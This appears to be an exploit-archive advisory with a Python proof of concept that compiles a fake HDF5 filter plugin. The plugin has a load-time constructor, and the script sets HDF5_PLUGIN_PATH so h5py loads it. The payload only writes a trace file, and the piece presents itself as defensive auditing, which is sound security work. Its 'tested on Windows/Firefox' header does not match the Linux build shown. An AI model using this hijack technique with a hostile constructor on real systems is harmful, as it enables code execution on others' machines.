============================================================================================================================================= | # Title : HDF5 Plugin 2.17.0 Path Audit – ABI-Compliant Constructor Execution Test | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://pypi.org/project/hdf5plugin | ============================================================================================================================================= [+] Summary : This script demonstrates a controlled security audit scenario targeting the HDF5 dynamic plugin loading mechanism. It compiles a shared C library that mimics a legitimate HDF5 filter plugin by implementing the required H5Z_class2_t structure and registration functions (H5PLget_plugin_type, H5PLget_plugin_info). The compiled library contains a constructor function that executes automatically when the library is loaded. It performs a minimal validation action (writing a trace file) unless the AT_SECURE flag is set, which indicates a hardened runtime environment where environment variables are sanitized. [+] The Python wrapper script: Compiles the shared object (libh5plugin.so). Sets the HDF5_PLUGIN_PATH environment variable to manipulate plugin discovery. Triggers HDF5 loading via h5py to test whether the custom plugin is loaded. Determines whether the environment is misconfigured (unauthorized plugin execution) or properly protected (ABI mismatch, secure execution mode, or patched loader behavior). The overall purpose is defensive validation: verifying whether an HDF5-enabled environment properly restricts dynamic plugin loading and resists environment-based library hijacking. [+] POC : import os import subprocess c_code = """ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/auxv.h> typedef struct { int version; int id; unsigned int flags; const char *name; void *can_apply; void *set_local; void *filter; } H5Z_class2_t; static const H5Z_class2_t hdf5_audit_filter = { 1, 256, 1, "audit_plugin", NULL, NULL, NULL }; int H5PLget_plugin_type() { return 1; } const void* H5PLget_plugin_info() { return &hdf5_audit_filter; } __attribute__((constructor)) void audit_init() { if (getauxval(AT_SECURE)) return; FILE *f = fopen("/tmp/.hdf5_security_check", "w"); if (f) { fprintf(f, "Validation: ABI Match & Constructor Execution (PID: %d)\\n", getpid()); fclose(f); } } """ def run_audit(): print("[-] Stage 1: Compiling ABI-compliant library...") with open("exploit.c", "w") as f: f.write(c_code) subprocess.run(["gcc", "-shared", "-fPIC", "-o", "libh5plugin.so", "exploit.c"]) print("[-] Stage 2: Attempting environment manipulation...") os.environ['HDF5_PLUGIN_PATH'] = os.getcwd() print("[-] Stage 3: Triggering HDF5 Loader (Targeting h5py/TensorFlow)...") try: import h5py with h5py.File('test_audit.h5', 'w') as f: pass except Exception as e: print(f"[!] Runtime Mitigation: {e}") if os.path.exists("/tmp/.hdf5_security_check"): print("\\n[!] WARNING: Hijack Successful. The environment is MISCONFIGURED.") else: print("\\n[V] PROTECTED: No unauthorized library loading detected.") print(" Analysis: ABI mismatch, AT_SECURE cleaning, or TensorFlow patch is active.") if __name__ == "__main__": run_audit() Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |